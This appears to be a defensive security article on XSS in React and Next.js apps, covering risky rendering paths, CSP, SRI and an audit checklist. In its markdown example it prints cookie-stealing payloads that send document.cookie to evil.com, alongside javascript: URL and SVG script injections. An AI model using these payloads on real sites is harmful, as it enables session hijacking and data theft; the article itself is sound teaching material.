Introduction
One of the most common misconceptions in modern web development is that "React is secure by default." While it's true that React's JSX automatically escapes values before rendering — preventing the classic <script>alert(1)</script> injection — the reality is more nuanced. Cross-Site Scripting (XSS) remains one of the most prevalent vulnerabilities in React applications, and it shows no signs of disappearing.
In this article, we'll go beyond the basics. You'll learn exactly where React can and cannot protect you, examine real-world XSS attack vectors in React apps, and build a comprehensive defense strategy that includes Content Security Policy (CSP), secure rendering patterns, and an audit checklist you can use on your next code review.
How React Protects You (and Where It Stops)
The JSX Shield
React's first line of defense is automatic escaping. When you write JSX, React uses React.createElement under the hood, which converts dynamic values to strings before inserting them into the DOM:
const userInput = "<img src=x onerror=alert(1)>";
return <div>{userInput}</div>;
// Renders: <div><img src=x onerror=alert(1)></div>
This works because React never passes raw strings to innerHTML. It uses textContent or createTextNode, which are inherently safe. This protection covers:
- String interpolation in JSX expressions
- Props like
children,title,alt,placeholder - Event handlers (they're functions, not strings)
The Danger Zones
React's protection stops where the DOM APIs begin. These are the places where XSS vulnerabilities commonly appear in React applications:
1. dangerouslySetInnerHTML
The name is a warning. This prop bypasses React's escaping entirely:
<div dangerouslySetInnerHTML={{ __html: userContent }} />
This is necessary for rich text rendering (markdown, HTML emails, WYSIWYG content), but it's also the most common XSS vector in React apps.
2. URL injection
React does NOT validate URLs. An attacker can inject javascript: URLs or exploit open redirects:
<a href={userProvidedUrl}>Click me</a>
// If userProvidedUrl = "javascript:alert(1)", this executes on click
3. SSR hydration mismatches
Server-Side Rendering can introduce XSS when the server and client produce different HTML. If the server renders unsanitized content and the client hydrates over it, the unsanitized HTML can execute before React takes over.
4. Third-party scripts and embeds
Google Tag Manager, analytics snippets, live chat widgets, and ad networks all inject scripts into the page. A compromised third-party script can read your cookies, exfiltrate data, or deface the page — and React can do nothing about it.
Real-World XSS Attack Vectors
Attack Vector 1: Markdown Renderers
Many React apps render user-generated content through markdown. Libraries like react-markdown or remark-html can produce HTML with embedded scripts:
import { remark } from 'remark';
import html from 'remark-html';
const content = await remark()
.use(html)
.process(userInput);
return <div dangerouslySetInnerHTML={{ __html: String(content) }} />;
If the markdown parser doesn't strip dangerous tags, the attacker writes:
[Click me](javascript:alert(1))
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
<img src=x onerror="new Image().src='https://evil.com/'+document.cookie">
The fix: Always pair markdown rendering with a sanitizer like DOMPurify:
import DOMPurify from 'dompurify';
const sanitized = DOMPurify.sanitize(String(content));
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
Attack Vector 2: URL and Protocol Injection
React does not strip dangerous URL schemes. This affects href, src, action, and formAction props:
// User provides: "javascript:document.cookie"
<a href={profile.website}>Website</a>
The fix: Validate and sanitize URLs before rendering:
function isSafeUrl(url: string): boolean {
try {
const parsed = new URL(url);
return ['http:', 'https:', 'mailto:', 'tel:'].includes(parsed.protocol);
} catch {
return false;
}
}
return isSafeUrl(url) ? <a href={url}>Link</a> : <span>{url}</span>;
Attack Vector 3: SVG Injection
SVG files can contain embedded JavaScript through <script> tags and event handlers. If you render user-uploaded SVGs with dangerouslySetInnerHTML, you're exposed:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
<rect width="100" height="100" fill="red" onload="alert(1)"/>
</svg>
The fix: Never render unsanitized SVGs directly. Use DOMPurify with SVG support, or convert SVGs to images (which strips script execution).
Attack Vector 4: JSON Injection in Next.js getServerSideProps
In Next.js, data passed from getServerSideProps is serialized to JSON and embedded in the page HTML. If you include user input in the serialized data without escaping, you can break out of the JSON context:
export async function getServerSideProps({ query }) {
return {
props: {
// User input is embedded directly in the page HTML
name: query.name, // </script><script>alert(1)</script>
}
};
}
Next.js escapes this by default with __NEXT_DATA__, but if you manually inject data into the HTML head or body using dangerouslySetInnerHTML, you bypass that protection.
Building a Multi-Layer Defense
Layer 1: Content Security Policy (CSP)
CSP is the single most effective defense against XSS. It tells the browser what sources are allowed to execute scripts, even if an attacker manages to inject a <script> tag.
A strict CSP for a React app looks like this:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.yourdomain.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Important note for React: React uses inline event handlers in development mode (not in production). In production, React generates static HTML, so you don't need 'unsafe-inline' for scripts — but you may need it for styles if you use CSS-in-JS libraries.
For Next.js: Add CSP headers in next.config.ts or via middleware.ts:
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const csp = [
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self'",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; ');
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
return response;
}
Layer 2: Input Validation and Output Encoding
The golden rule of XSS prevention is: never trust user input, always encode output.
- Validate on input: Reject or sanitize dangerous content at the API layer. Libraries like
zodcan enforce strict schemas and strip HTML. - Encode on output: Let React's JSX do the encoding for you. Only use
dangerouslySetInnerHTMLwhen absolutely necessary, and always pair it with DOMPurify.
import { z } from 'zod';
import DOMPurify from 'dompurify';
const commentSchema = z.object({
body: z.string().max(5000),
author: z.string().min(1).max(100),
});
// On the server
const sanitized = DOMPurify.sanitize(validated.body);
// On the client
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
Layer 3: Secure Rendering Patterns
Avoid dangerouslySetInnerHTML when possible. Ask yourself:
- Can I use React components instead of raw HTML? (e.g.,
react-markdownwithrehype-sanitize) - Can I use
textContentrendering instead? - Can I render HTML on the server and sanitize it there?
When you must render HTML, use a pipeline:
User Input → Zod Validation → DOMPurify Sanitization → dangerouslySetInnerHTML
Layer 4: Subresource Integrity (SRI)
For third-party scripts loaded via <script src="..."> or Next.js Script component, add integrity hashes:
import Script from 'next/script';
<Script
src="https://www.googletagmanager.com/gtag/js?id=G-XXXXXXX"
integrity="sha384-..."
crossOrigin="anonymous"
/>
This ensures the browser only executes the script if it matches the expected hash, preventing tampered CDN scripts from executing.
XSS Audit Checklist for React Apps
Use this checklist in your next code review or security audit:
- [ ]
dangerouslySetInnerHTML— every usage needs explicit approval and DOMPurify - [ ] URL injection — all
href,src,actionprops validated for safe protocols - [ ] Markdown renderers — paired with a sanitizer (DOMPurify, rehype-sanitize)
- [ ] SVG uploads — never rendered directly; converted to images or sanitized
- [ ] CSP headers — configured with strict policies (no
'unsafe-inline'on scripts in production) - [ ] Third-party scripts — loaded with integrity hashes (SRI)
- [ ] SSR hydration — server and client produce identical HTML
- [ ] JSON injection in SSR — user input not embedded directly in HTML
- [ ] Form inputs — validated on both client and server (never trust client-only validation)
- [ ] Event handlers — no inline handlers in production (
evalis disabled by strict CSP)
Conclusion
React's automatic escaping is a powerful defense, but it's not a silver bullet. XSS vulnerabilities in React applications typically appear in the edge cases: rich text rendering, URL handling, SVG injection, and third-party integrations. The most effective strategy combines React's built-in protections with a strict Content Security Policy, proper input validation, and output sanitization as a defense-in-depth approach.
Remember: security is not a feature you add at the end. It's a set of practices you integrate into every pull request, every code review, and every deployment. The checklist above gives you a concrete starting point for your next audit.
Next week: We'll dive into Content Security Policy for Next.js applications, including nonce-based CSP, strict-dynamic, and how to configure reporting endpoints to catch real XSS attempts in production.
JS Security Audit
Senior JavaScript security consultants with 10+ years of experience.